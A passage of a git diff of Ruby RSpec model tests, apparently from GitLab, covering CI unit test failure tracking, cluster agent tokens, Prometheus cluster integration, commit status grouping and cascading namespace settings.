- subject { build(:ci_test_case_failure) }
-
- it { is_expected.to validate_presence_of(:test_case) }
- it { is_expected.to validate_presence_of(:build) }
- it { is_expected.to validate_presence_of(:failed_at) }
- end
-
- describe '.recent_failures_count' do
- let_it_be(:project) { create(:project) }
-
- subject(:recent_failures) do
- described_class.recent_failures_count(
- project: project,
- test_case_keys: test_case_keys
- )
- end
-
- context 'when test case failures are within the date range and are for the test case keys' do
- let(:tc_1) { create(:ci_test_case, project: project) }
- let(:tc_2) { create(:ci_test_case, project: project) }
- let(:test_case_keys) { [tc_1.key_hash, tc_2.key_hash] }
-
- before do
- create_list(:ci_test_case_failure, 3, test_case: tc_1, failed_at: 1.day.ago)
- create_list(:ci_test_case_failure, 2, test_case: tc_2, failed_at: 3.days.ago)
- end
-
- it 'returns the number of failures for each test case key hash for the past 14 days by default' do
- expect(recent_failures).to eq(
- tc_1.key_hash => 3,
- tc_2.key_hash => 2
- )
- end
- end
-
- context 'when test case failures are within the date range but are not for the test case keys' do
- let(:tc) { create(:ci_test_case, project: project) }
- let(:test_case_keys) { ['some-other-key-hash'] }
-
- before do
- create(:ci_test_case_failure, test_case: tc, failed_at: 1.day.ago)
- end
-
- it 'excludes them from the count' do
- expect(recent_failures[tc.key_hash]).to be_nil
- end
- end
-
- context 'when test case failures are not within the date range but are for the test case keys' do
- let(:tc) { create(:ci_test_case, project: project) }
- let(:test_case_keys) { [tc.key_hash] }
-
- before do
- create(:ci_test_case_failure, test_case: tc, failed_at: 15.days.ago)
- end
-
- it 'excludes them from the count' do
- expect(recent_failures[tc.key_hash]).to be_nil
- end
- end
- end
-end
diff --git a/spec/models/ci/test_case_spec.rb b/spec/models/ci/test_case_spec.rb
deleted file mode 100644
index 45311e285a6..00000000000
--- a/spec/models/ci/test_case_spec.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::TestCase do
- describe 'relationships' do
- it { is_expected.to belong_to(:project) }
- it { is_expected.to have_many(:test_case_failures) }
- end
-
- describe 'validations' do
- subject { build(:ci_test_case) }
-
- it { is_expected.to validate_presence_of(:project) }
- it { is_expected.to validate_presence_of(:key_hash) }
- end
-
- describe '.find_or_create_by_batch' do
- it 'finds or creates records for the given test case keys', :aggregate_failures do
- project = create(:project)
- existing_tc = create(:ci_test_case, project: project)
- new_key = Digest::SHA256.hexdigest(SecureRandom.hex)
- keys = [existing_tc.key_hash, new_key]
-
- result = described_class.find_or_create_by_batch(project, keys)
-
- expect(result.map(&:key_hash)).to match_array([existing_tc.key_hash, new_key])
- expect(result).to all(be_persisted)
- end
- end
-end
diff --git a/spec/models/ci/unit_test_failure_spec.rb b/spec/models/ci/unit_test_failure_spec.rb
new file mode 100644
index 00000000000..f9b8c66b603
--- /dev/null
+++ b/spec/models/ci/unit_test_failure_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::UnitTestFailure do
+ describe 'relationships' do
+ it { is_expected.to belong_to(:build) }
+ it { is_expected.to belong_to(:unit_test) }
+ end
+
+ describe 'validations' do
+ subject { build(:ci_unit_test_failure) }
+
+ it { is_expected.to validate_presence_of(:unit_test) }
+ it { is_expected.to validate_presence_of(:build) }
+ it { is_expected.to validate_presence_of(:failed_at) }
+ end
+
+ describe '.recent_failures_count' do
+ let_it_be(:project) { create(:project) }
+
+ subject(:recent_failures) do
+ described_class.recent_failures_count(
+ project: project,
+ unit_test_keys: unit_test_keys
+ )
+ end
+
+ context 'when unit test failures are within the date range and are for the unit test keys' do
+ let(:test_1) { create(:ci_unit_test, project: project) }
+ let(:test_2) { create(:ci_unit_test, project: project) }
+ let(:unit_test_keys) { [test_1.key_hash, test_2.key_hash] }
+
+ before do
+ create_list(:ci_unit_test_failure, 3, unit_test: test_1, failed_at: 1.day.ago)
+ create_list(:ci_unit_test_failure, 2, unit_test: test_2, failed_at: 3.days.ago)
+ end
+
+ it 'returns the number of failures for each unit test key hash for the past 14 days by default' do
+ expect(recent_failures).to eq(
+ test_1.key_hash => 3,
+ test_2.key_hash => 2
+ )
+ end
+ end
+
+ context 'when unit test failures are within the date range but are not for the unit test keys' do
+ let(:test) { create(:ci_unit_test, project: project) }
+ let(:unit_test_keys) { ['some-other-key-hash'] }
+
+ before do
+ create(:ci_unit_test_failure, unit_test: test, failed_at: 1.day.ago)
+ end
+
+ it 'excludes them from the count' do
+ expect(recent_failures[test.key_hash]).to be_nil
+ end
+ end
+
+ context 'when unit test failures are not within the date range but are for the unit test keys' do
+ let(:test) { create(:ci_unit_test, project: project) }
+ let(:unit_test_keys) { [test.key_hash] }
+
+ before do
+ create(:ci_unit_test_failure, unit_test: test, failed_at: 15.days.ago)
+ end
+
+ it 'excludes them from the count' do
+ expect(recent_failures[test.key_hash]).to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/models/ci/unit_test_spec.rb b/spec/models/ci/unit_test_spec.rb
new file mode 100644
index 00000000000..2207a362be3
--- /dev/null
+++ b/spec/models/ci/unit_test_spec.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::UnitTest do
+ describe 'relationships' do
+ it { is_expected.to belong_to(:project) }
+ it { is_expected.to have_many(:unit_test_failures) }
+ end
+
+ describe 'validations' do
+ subject { build(:ci_unit_test) }
+
+ it { is_expected.to validate_presence_of(:project) }
+ it { is_expected.to validate_presence_of(:key_hash) }
+ it { is_expected.to validate_presence_of(:name) }
+ it { is_expected.to validate_presence_of(:suite_name) }
+ end
+
+ describe '.find_or_create_by_batch' do
+ let(:project) { create(:project) }
+
+ it 'finds or creates records for the given unit test keys', :aggregate_failures do
+ existing_test = create(:ci_unit_test, project: project, suite_name: 'rspec', name: 'Math#sum adds numbers')
+ new_key = Digest::SHA256.hexdigest(SecureRandom.hex)
+ attrs = [
+ {
+ key_hash: existing_test.key_hash,
+ name: 'This new name will not apply',
+ suite_name: 'This new suite name will not apply'
+ },
+ {
+ key_hash: new_key,
+ name: 'Component works',
+ suite_name: 'jest'
+ }
+ ]
+
+ result = described_class.find_or_create_by_batch(project, attrs)
+
+ expect(result).to match_array([
+ have_attributes(
+ key_hash: existing_test.key_hash,
+ suite_name: 'rspec',
+ name: 'Math#sum adds numbers'
+ ),
+ have_attributes(
+ key_hash: new_key,
+ suite_name: 'jest',
+ name: 'Component works'
+ )
+ ])
+
+ expect(result).to all(be_persisted)
+ end
+
+ context 'when a given name or suite_name exceeds the string size limit' do
+ before do
+ stub_const("#{described_class}::MAX_NAME_SIZE", 6)
+ stub_const("#{described_class}::MAX_SUITE_NAME_SIZE", 6)
+ end
+
+ it 'truncates the values before storing the information' do
+ new_key = Digest::SHA256.hexdigest(SecureRandom.hex)
+ attrs = [
+ {
+ key_hash: new_key,
+ name: 'abcdefg',
+ suite_name: 'abcdefg'
+ }
+ ]
+
+ result = described_class.find_or_create_by_batch(project, attrs)
+
+ expect(result).to match_array([
+ have_attributes(
+ key_hash: new_key,
+ suite_name: 'abc...',
+ name: 'abc...'
+ )
+ ])
+
+ expect(result).to all(be_persisted)
+ end
+ end
+ end
+end
diff --git a/spec/models/clusters/agent_token_spec.rb b/spec/models/clusters/agent_token_spec.rb
index a1b45df1970..680b351d24a 100644
--- a/spec/models/clusters/agent_token_spec.rb
+++ b/spec/models/clusters/agent_token_spec.rb
@@ -24,4 +24,53 @@ RSpec.describe Clusters::AgentToken do
expect(agent_token.token.length).to be >= 50
end
end
+
+ describe '#track_usage', :clean_gitlab_redis_cache do
+ let(:agent_token) { create(:cluster_agent_token) }
+
+ subject { agent_token.track_usage }
+
+ context 'when last_used_at was updated recently' do
+ before do
+ agent_token.update!(last_used_at: 10.minutes.ago)
+ end
+
+ it 'updates cache but not database' do
+ expect { subject }.not_to change { agent_token.reload.read_attribute(:last_used_at) }
+
+ expect_redis_update
+ end
+ end
+
+ context 'when last_used_at was not updated recently' do
+ it 'updates cache and database' do
+ does_db_update
+ expect_redis_update
+ end
+
+ context 'with invalid token' do
+ before do
+ agent_token.description = SecureRandom.hex(2000)
+ end
+
+ it 'still updates caches and database' do
+ expect(agent_token).to be_invalid
+
+ does_db_update
+ expect_redis_update
+ end
+ end
+ end
+
+ def expect_redis_update
+ Gitlab::Redis::Cache.with do |redis|
+ redis_key = "cache:#{described_class.name}:#{agent_token.id}:attributes"
+ expect(redis.get(redis_key)).to be_present
+ end
+ end
+
+ def does_db_update
+ expect { subject }.to change { agent_token.reload.read_attribute(:last_used_at) }
+ end
+ end
end
diff --git a/spec/models/clusters/applications/prometheus_spec.rb b/spec/models/clusters/applications/prometheus_spec.rb
index 032de6aa7c2..5a0ccabd467 100644
--- a/spec/models/clusters/applications/prometheus_spec.rb
+++ b/spec/models/clusters/applications/prometheus_spec.rb
@@ -39,6 +39,19 @@ RSpec.describe Clusters::Applications::Prometheus do
end
end
+ describe 'transition to externally_installed' do
+ let(:project) { create(:project) }
+ let(:cluster) { create(:cluster, :with_installed_helm) }
+ let(:application) { create(:clusters_applications_prometheus, :installing, cluster: cluster) }
+
+ it 'schedules post installation job' do
+ expect(Clusters::Applications::ActivateServiceWorker)
+ .to receive(:perform_async).with(cluster.id, 'prometheus')
+
+ application.make_externally_installed!
+ end
+ end
+
describe 'transition to updating' do
let(:project) { create(:project) }
let(:cluster) { create(:cluster, projects: [project]) }
@@ -61,85 +74,8 @@ RSpec.describe Clusters::Applications::Prometheus do
end
describe '#prometheus_client' do
- shared_examples 'exception caught for prometheus client' do
- before do
- allow(kube_client).to receive(:proxy_url).and_raise(exception)
- end
-
- it 'returns nil' do
- expect(subject.prometheus_client).to be_nil
- end
- end
-
- context 'cluster is nil' do
- it 'returns nil' do
- expect(subject.cluster).to be_nil
- expect(subject.prometheus_client).to be_nil
- end
- end
-
- context "cluster doesn't have kubeclient" do
- let(:cluster) { create(:cluster) }
-
- subject { create(:clusters_applications_prometheus, cluster: cluster) }
-
- it 'returns nil' do
- expect(subject.prometheus_client).to be_nil
- end
- end
-
- context 'cluster has kubeclient' do
- let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
- let(:kubernetes_url) { subject.cluster.platform_kubernetes.api_url }
- let(:kube_client) { subject.cluster.kubeclient.core_client }
-
- subject { create(:clusters_applications_prometheus, cluster: cluster) }
-
- before do
- subject.cluster.platform_kubernetes.namespace = 'a-namespace'
- stub_kubeclient_discover(cluster.platform_kubernetes.api_url)
-
- create(:cluster_kubernetes_namespace,
- cluster: cluster,
- cluster_project: cluster.cluster_project,
- project: cluster.cluster_project.project)
- end
-
- it 'creates proxy prometheus_client' do
- expect(subject.prometheus_client).to be_instance_of(Gitlab::PrometheusClient)
- end
-
- it 'merges proxy_url, options and headers from kube client with prometheus_client options' do
- expect(Gitlab::PrometheusClient)
- .to(receive(:new))
- .with(a_valid_url, kube_client.rest_client.options.merge({
- headers: kube_client.headers,
- timeout: PrometheusAdapter::DEFAULT_PROMETHEUS_REQUEST_TIMEOUT_SEC
- }))
- subject.prometheus_client
- end
-
- context 'when cluster is not reachable' do
- it_behaves_like 'exception caught for prometheus client' do
- let(:exception) { Kubeclient::HttpError.new(401, 'Unauthorized', nil) }
- end
- end
-
- context 'when there is a socket error while contacting cluster' do
- it_behaves_like 'exception caught for prometheus client' do
- let(:exception) { Errno::ECONNREFUSED }
- end
-
- it_behaves_like 'exception caught for prometheus client' do
- let(:exception) { Errno::ECONNRESET }
- end
- end
-
- context 'when the network is unreachable' do
- it_behaves_like 'exception caught for prometheus client' do
- let(:exception) { Errno::ENETUNREACH }
- end
- end
+ include_examples '#prometheus_client shared' do
+ let(:factory) { :clusters_applications_prometheus }
end
end
diff --git a/spec/models/clusters/cluster_spec.rb b/spec/models/clusters/cluster_spec.rb
index a8f81cba285..b2ed64fd9b0 100644
--- a/spec/models/clusters/cluster_spec.rb
+++ b/spec/models/clusters/cluster_spec.rb
@@ -21,6 +21,7 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
it { is_expected.to have_one(:provider_gcp) }
it { is_expected.to have_one(:provider_aws) }
it { is_expected.to have_one(:platform_kubernetes) }
+ it { is_expected.to have_one(:integration_prometheus) }
it { is_expected.to have_one(:application_helm) }
it { is_expected.to have_one(:application_ingress) }
it { is_expected.to have_one(:application_prometheus) }
@@ -40,7 +41,6 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
it { is_expected.to delegate_method(:rbac?).to(:platform_kubernetes).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_helm).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_ingress).with_prefix }
- it { is_expected.to delegate_method(:available?).to(:application_prometheus).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_knative).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_elastic_stack).with_prefix }
it { is_expected.to delegate_method(:external_ip).to(:application_ingress).with_prefix }
@@ -1349,6 +1349,80 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
end
end
+ describe '#application_prometheus_available?' do
+ let_it_be_with_reload(:cluster) { create(:cluster, :project) }
+
+ subject { cluster.application_prometheus_available? }
+
+ it { is_expected.to be_falsey }
+
+ context 'has a integration_prometheus' do
+ let_it_be(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
+
+ it { is_expected.to be_truthy }
+
+ context 'disabled' do
+ before do
+ cluster.integration_prometheus.enabled = false
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
+
+ context 'has a application_prometheus' do
+ let_it_be(:application) { create(:clusters_applications_prometheus, :installed, :no_helm_installed, cluster: cluster) }
+
+ it { is_expected.to be_truthy }
+
+ context 'errored' do
+ before do
+ cluster.application_prometheus.status = Clusters::Applications::Prometheus.state_machines[:status].states[:errored]
+ end
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'also has a integration_prometheus' do
+ let_it_be(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
+
+ it { is_expected.to be_truthy }
+ end
+ end
+ end
+
+ describe '#prometheus_adapter' do
+ let_it_be_with_reload(:cluster) { create(:cluster, :project) }
+
+ it 'returns nothing' do
+ expect(cluster.prometheus_adapter).to be_nil
+ end
+
+ context 'has a integration_prometheus' do
+ let_it_be(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
+
+ it 'returns the integration' do
+ expect(cluster.prometheus_adapter).to eq(integration)
+ end
+ end
+
+ context 'has a application_prometheus' do
+ let_it_be(:application) { create(:clusters_applications_prometheus, :no_helm_installed, cluster: cluster) }
+
+ it 'returns the application' do
+ expect(cluster.prometheus_adapter).to eq(application)
+ end
+
+ context 'also has a integration_prometheus' do
+ let_it_be(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
+
+ it 'returns the integration' do
+ expect(cluster.prometheus_adapter).to eq(integration)
+ end
+ end
+ end
+ end
+
describe '#delete_cached_resources!' do
let!(:cluster) { create(:cluster, :project) }
let!(:staging_namespace) { create(:cluster_kubernetes_namespace, cluster: cluster, namespace: 'staging') }
diff --git a/spec/models/clusters/integrations/prometheus_spec.rb b/spec/models/clusters/integrations/prometheus_spec.rb
new file mode 100644
index 00000000000..a7be1673ce2
--- /dev/null
+++ b/spec/models/clusters/integrations/prometheus_spec.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Clusters::Integrations::Prometheus do
+ include KubernetesHelpers
+ include StubRequests
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:cluster).class_name('Clusters::Cluster') }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:cluster) }
+ it { is_expected.not_to allow_value(nil).for(:enabled) }
+ end
+
+ describe '#prometheus_client' do
+ include_examples '#prometheus_client shared' do
+ let(:factory) { :clusters_integrations_prometheus }
+ end
+ end
+
+ describe '#configured?' do
+ let(:prometheus) { create(:clusters_integrations_prometheus, cluster: cluster) }
+
+ subject { prometheus.configured? }
+
+ context 'when a kubenetes client is present' do
+ let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
+
+ it { is_expected.to be_truthy }
+
+ context 'when it is disabled' do
+ let(:prometheus) { create(:clusters_integrations_prometheus, :disabled, cluster: cluster) }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when the kubernetes URL is blocked' do
+ before do
+ blocked_ip = '127.0.0.1' # localhost addresses are blocked by default
+
+ stub_all_dns(cluster.platform.api_url, ip_address: blocked_ip)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
+
+ context 'when a kubenetes client is not present' do
+ let(:cluster) { create(:cluster) }
+
+ it { is_expected.to be_falsy }
+ end
+ end
+end
diff --git a/spec/models/commit_spec.rb b/spec/models/commit_spec.rb
index a5f02b61132..7c00f367844 100644
--- a/spec/models/commit_spec.rb
+++ b/spec/models/commit_spec.rb
@@ -526,7 +526,7 @@ eos
context 'that is found' do
before do
# Artificially mark as completed.
- merge_request.update(merge_commit_sha: merge_commit.id)
+ merge_request.update!(merge_commit_sha: merge_commit.id)
end
it do
diff --git a/spec/models/commit_status_spec.rb b/spec/models/commit_status_spec.rb
index 01da379e001..e64dee2d26f 100644
--- a/spec/models/commit_status_spec.rb
+++ b/spec/models/commit_status_spec.rb
@@ -213,12 +213,12 @@ RSpec.describe CommitStatus do
context 'when it is canceled' do
before do
- commit_status.update(status: 'canceled')
+ commit_status.update!(status: 'canceled')
end
context 'when there is auto_canceled_by' do
before do
- commit_status.update(auto_canceled_by: create(:ci_empty_pipeline))
+ commit_status.update!(auto_canceled_by: create(:ci_empty_pipeline))
end
it 'is auto canceled' do
@@ -510,10 +510,6 @@ RSpec.describe CommitStatus do
end
describe '#group_name' do
- before do
- stub_feature_flags(simplified_commit_status_group_name: false)
- end
-
using RSpec::Parameterized::TableSyntax
let(:commit_status) do
@@ -528,18 +524,24 @@ RSpec.describe CommitStatus do
'rspec1 0/2' | 'rspec1'
'rspec:windows' | 'rspec:windows'
'rspec:windows 0' | 'rspec:windows 0'
+ 'rspec:windows 0 2/2' | 'rspec:windows 0'
'rspec:windows 0 test' | 'rspec:windows 0 test'
- 'rspec:windows 0 1' | 'rspec:windows'
- 'rspec:windows 0 1 name' | 'rspec:windows name'
+ 'rspec:windows 0 test 2/2' | 'rspec:windows 0 test'
+ 'rspec:windows 0 1 2/2' | 'rspec:windows'
+ 'rspec:windows 0 1 [aws] 2/2' | 'rspec:windows'
+ 'rspec:windows 0 1 name [aws] 2/2' | 'rspec:windows 0 1 name'
+ 'rspec:windows 0 1 name' | 'rspec:windows 0 1 name'
+ 'rspec:windows 0 1 name 1/2' | 'rspec:windows 0 1 name'
'rspec:windows 0/1' | 'rspec:windows'
- 'rspec:windows 0/1 name' | 'rspec:windows name'
+ 'rspec:windows 0/1 name' | 'rspec:windows 0/1 name'
+ 'rspec:windows 0/1 name 1/2' | 'rspec:windows 0/1 name'
'rspec:windows 0:1' | 'rspec:windows'
- 'rspec:windows 0:1 name' | 'rspec:windows name'
+ 'rspec:windows 0:1 name' | 'rspec:windows 0:1 name'
'rspec:windows 10000 20000' | 'rspec:windows'
'rspec:windows 0 : / 1' | 'rspec:windows'
- 'rspec:windows 0 : / 1 name' | 'rspec:windows name'
- '0 1 name ruby' | 'name ruby'
- '0 :/ 1 name ruby' | 'name ruby'
+ 'rspec:windows 0 : / 1 name' | 'rspec:windows 0 : / 1 name'
+ '0 1 name ruby' | '0 1 name ruby'
+ '0 :/ 1 name ruby' | '0 :/ 1 name ruby'
'rspec: [aws]' | 'rspec'
'rspec: [aws] 0/1' | 'rspec'
'rspec: [aws, max memory]' | 'rspec'
@@ -561,58 +563,6 @@ RSpec.describe CommitStatus do
is_expected.to eq(group_name)
end
end
-
- context 'with simplified_commit_status_group_name' do
- before do
- stub_feature_flags(simplified_commit_status_group_name: true)
- end
-
- where(:name, :group_name) do
- 'rspec1' | 'rspec1'
- 'rspec1 0 1' | 'rspec1'
- 'rspec1 0/2' | 'rspec1'
- 'rspec:windows' | 'rspec:windows'
- 'rspec:windows 0' | 'rspec:windows 0'
- 'rspec:windows 0 2/2' | 'rspec:windows 0'
- 'rspec:windows 0 test' | 'rspec:windows 0 test'
- 'rspec:windows 0 test 2/2' | 'rspec:windows 0 test'
- 'rspec:windows 0 1 2/2' | 'rspec:windows'
- 'rspec:windows 0 1 [aws] 2/2' | 'rspec:windows'
- 'rspec:windows 0 1 name [aws] 2/2' | 'rspec:windows 0 1 name'
- 'rspec:windows 0 1 name' | 'rspec:windows 0 1 name'
- 'rspec:windows 0 1 name 1/2' | 'rspec:windows 0 1 name'
- 'rspec:windows 0/1' | 'rspec:windows'
- 'rspec:windows 0/1 name' | 'rspec:windows 0/1 name'
- 'rspec:windows 0/1 name 1/2' | 'rspec:windows 0/1 name'
- 'rspec:windows 0:1' | 'rspec:windows'
- 'rspec:windows 0:1 name' | 'rspec:windows 0:1 name'
- 'rspec:windows 10000 20000' | 'rspec:windows'
- 'rspec:windows 0 : / 1' | 'rspec:windows'
- 'rspec:windows 0 : / 1 name' | 'rspec:windows 0 : / 1 name'
- '0 1 name ruby' | '0 1 name ruby'
- '0 :/ 1 name ruby' | '0 :/ 1 name ruby'
- 'rspec: [aws]' | 'rspec'
- 'rspec: [aws] 0/1' | 'rspec'
- 'rspec: [aws, max memory]' | 'rspec'
- 'rspec:linux: [aws, max memory, data]' | 'rspec:linux'
- 'rspec: [inception: [something, other thing], value]' | 'rspec'
- 'rspec:windows 0/1: [name, other]' | 'rspec:windows'
- 'rspec:windows: [name, other] 0/1' | 'rspec:windows'
- 'rspec:windows: [name, 0/1] 0/1' | 'rspec:windows'
- 'rspec:windows: [0/1, name]' | 'rspec:windows'
- 'rspec:windows: [, ]' | 'rspec:windows'
- 'rspec:windows: [name]' | 'rspec:windows'
- 'rspec:windows: [name,other]' | 'rspec:windows'
- end
-
- with_them do
- it "#{params[:name]} puts in #{params[:group_name]}" do
- commit_status.name = name
-
- is_expected.to eq(group_name)
- end
- end
- end
end
describe '#detailed_status' do
@@ -660,7 +610,7 @@ RSpec.describe CommitStatus do
end
it "raise exception when trying to update" do
- expect { commit_status.save }.to raise_error(ActiveRecord::StaleObjectError)
+ expect { commit_status.save! }.to raise_error(ActiveRecord::StaleObjectError)
end
end
@@ -679,30 +629,45 @@ RSpec.describe CommitStatus do
end
end
- describe 'set failure_reason when drop' do
+ describe '#drop' do
let(:commit_status) { create(:commit_status, :created) }
+ let(:counter) { Gitlab::Metrics.counter(:gitlab_ci_job_failure_reasons, 'desc') }
+ let(:failure_reason) { reason.to_s }
subject do
commit_status.drop!(reason)
commit_status
end
+ shared_examples 'incrementing failure reason counter' do
+ it 'increments the counter with the failure_reason' do
+ expect { subject }.to change { counter.get(reason: failure_reason) }.by(1)
+ end
+ end
+
context 'when failure_reason is nil' do
let(:reason) { }
+ let(:failure_reason) { 'unknown_failure' }
it { is_expected.to be_unknown_failure }
+
+ it_behaves_like 'incrementing failure reason counter'
end
context 'when failure_reason is script_failure' do
let(:reason) { :script_failure }
it { is_expected.to be_script_failure }
+
+ it_behaves_like 'incrementing failure reason counter'
end
context 'when failure_reason is unmet_prerequisites' do
let(:reason) { :unmet_prerequisites }
it { is_expected.to be_unmet_prerequisites }
+
+ it_behaves_like 'incrementing failure reason counter'
end
end
@@ -870,4 +835,23 @@ RSpec.describe CommitStatus do
it { is_expected.to eq(false) }
end
end
+
+ describe '#update_older_statuses_retried!' do
+ let!(:build_old) { create_status(name: 'build') }
+ let!(:build_new) { create_status(name: 'build') }
+ let!(:test) { create_status(name: 'test') }
+ let!(:build_from_other_pipeline) do
+ new_pipeline = create(:ci_pipeline, project: project, sha: project.commit.id)
+ create_status(name: 'build', pipeline: new_pipeline)
+ end
+
+ it "updates 'retried' and 'status' columns of the latest status with the same name in the same pipeline" do
+ build_new.update_older_statuses_retried!
+
+ expect(build_new.reload).to have_attributes(retried: false, processed: false)
+ expect(build_old.reload).to have_attributes(retried: true, processed: true)
+ expect(test.reload).to have_attributes(retried: false, processed: false)
+ expect(build_from_other_pipeline.reload).to have_attributes(retried: false, processed: false)
+ end
+ end
end
diff --git a/spec/models/concerns/batch_destroy_dependent_associations_spec.rb b/spec/models/concerns/batch_destroy_dependent_associations_spec.rb
index a8fcb714c64..993afd47a57 100644
--- a/spec/models/concerns/batch_destroy_dependent_associations_spec.rb
+++ b/spec/models/concerns/batch_destroy_dependent_associations_spec.rb
@@ -26,6 +26,7 @@ RSpec.describe BatchDestroyDependentAssociations do
let_it_be(:project) { create(:project) }
let_it_be(:build) { create(:ci_build, project: project) }
let_it_be(:notification_setting) { create(:notification_setting, project: project) }
+
let!(:todos) { create(:todo, project: project) }
it 'destroys multiple builds' do
diff --git a/spec/models/concerns/cache_markdown_field_spec.rb b/spec/models/concerns/cache_markdown_field_spec.rb
index 6e62d4ef31b..33a4c8eac41 100644
--- a/spec/models/concerns/cache_markdown_field_spec.rb
+++ b/spec/models/concerns/cache_markdown_field_spec.rb
@@ -17,9 +17,13 @@ RSpec.describe CacheMarkdownField, :clean_gitlab_redis_cache do
include CacheMarkdownField
def initialize(args = {})
- @title, @description, @cached_markdown_version = args[:title], args[:description], args[:cached_markdown_version]
- @title_html, @description_html = args[:title_html], args[:description_html]
- @author, @project = args[:author], args[:project]
+ @title = args[:title]
+ @description = args[:description]
+ @cached_markdown_version = args[:cached_markdown_version]
+ @title_html = args[:title_html]
+ @description_html = args[:description_html]
+ @author = args[:author]
+ @project = args[:project]
@parent_user = args[:parent_user]
end
diff --git a/spec/models/concerns/cacheable_attributes_spec.rb b/spec/models/concerns/cacheable_attributes_spec.rb
index f2877bed9cf..dc80e30216a 100644
--- a/spec/models/concerns/cacheable_attributes_spec.rb
+++ b/spec/models/concerns/cacheable_attributes_spec.rb
@@ -205,7 +205,7 @@ RSpec.describe CacheableAttributes do
end
end
- it 'uses RequestStore in addition to process memory cache', :request_store do
+ it 'uses RequestStore in addition to process memory cache', :request_store, :do_not_mock_admin_mode_setting do
# Warm up the cache
create(:application_setting).cache!
diff --git a/spec/models/concerns/cascading_namespace_setting_attribute_spec.rb b/spec/models/concerns/cascading_namespace_setting_attribute_spec.rb
new file mode 100644
index 00000000000..ddff9ce32b4
--- /dev/null
+++ b/spec/models/concerns/cascading_namespace_setting_attribute_spec.rb
@@ -0,0 +1,320 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe NamespaceSetting, 'CascadingNamespaceSettingAttribute' do
+ let(:group) { create(:group) }
+ let(:subgroup) { create(:group, parent: group) }
+
+ def group_settings
+ group.namespace_settings
+ end
+
+ def subgroup_settings
+ subgroup.namespace_settings
+ end
+
+ describe '#delayed_project_removal' do
+ subject(:delayed_project_removal) { subgroup_settings.delayed_project_removal }
+
+ context 'when the feature is disabled' do
+ before do
+ stub_feature_flags(cascading_namespace_settings: false)
+
+ group_settings.update!(delayed_project_removal: true)
+ end
+
+ it 'does not cascade' do
+ expect(delayed_project_removal).to eq(nil)
+ end
+ end
+
+ context 'when there is no parent' do
+ context 'and the value is not nil' do
+ before do
+ group_settings.update!(delayed_project_removal: true)
+ end
+
+ it 'returns the local value' do
+ expect(group_settings.delayed_project_removal).to eq(true)
+ end
+ end
+
+ context 'and the value is nil' do
+ before do
+ group_settings.update!(delayed_project_removal: nil)
+ stub_application_setting(delayed_project_removal: false)
+ end
+
+ it 'returns the application settings value' do
+ expect(group_settings.delayed_project_removal).to eq(false)
+ end
+ end
+ end
+
+ context 'when parent does not lock the attribute' do
+ context 'and value is not nil' do
+ before do
+ group_settings.update!(delayed_project_removal: false)
+ end
+
+ it 'returns local setting when present' do
+ subgroup_settings.update!(delayed_project_removal: true)
+
+ expect(delayed_project_removal).to eq(true)
+ end
+
+ it 'returns the parent value when local value is nil' do
+ subgroup_settings.update!(delayed_project_removal: nil)
+
+ expect(delayed_project_removal).to eq(false)
+ end
+
+ it 'returns the correct dirty value' do
+ subgroup_settings.delayed_project_removal = true
+
+ expect(delayed_project_removal).to eq(true)
+ end
+
+ it 'does not return the application setting value when parent value is false' do
+ stub_application_setting(delayed_project_removal: true)
+
+ expect(delayed_project_removal).to eq(false)
+ end
+ end
+
+ context 'and the value is nil' do
+ before do
+ group_settings.update!(delayed_project_removal: nil, lock_delayed_project_removal: false)
+ subgroup_settings.update!(delayed_project_removal: nil)
+
+ subgroup_settings.clear_memoization(:delayed_project_removal)
+ end
+
+ it 'cascades to the application settings value' do
+ expect(delayed_project_removal).to eq(false)
+ end
+ end
+
+ context 'when multiple ancestors set a value' do
+ let(:third_level_subgroup) { create(:group, parent: subgroup) }
+
+ before do
+ group_settings.update!(delayed_project_removal: true)
+ subgroup_settings.update!(delayed_project_removal: false)
+ end
+
+ it 'returns the closest ancestor value' do
+ expect(third_level_subgroup.namespace_settings.delayed_project_removal).to eq(false)
+ end
+ end
+ end
+
+ context 'when parent locks the attribute' do
+ before do
+ subgroup_settings.update!(delayed_project_removal: true)
+ group_settings.update!(lock_delayed_project_removal: true, delayed_project_removal: false)
+
+ subgroup_settings.clear_memoization(:delayed_project_removal)
+ subgroup_settings.clear_memoization(:delayed_project_removal_locked_ancestor)
+ end
+
+ it 'returns the parent value' do
+ expect(delayed_project_removal).to eq(false)
+ end
+
+ it 'does not allow the local value to be saved' do
+ subgroup_settings.delayed_project_removal = nil
+
+ expect { subgroup_settings.save! }
+ .to raise_error(ActiveRecord::RecordInvalid, /Delayed project removal cannot be changed because it is locked by an ancestor/)
+ end
+ end
+
+ context 'when the application settings locks the attribute' do
+ before do
+ subgroup_settings.update!(delayed_project_removal: true)
+ stub_application_setting(lock_delayed_project_removal: true, delayed_project_removal: true)
+ end
+
+ it 'returns the application setting value' do
+ expect(delayed_project_removal).to eq(true)
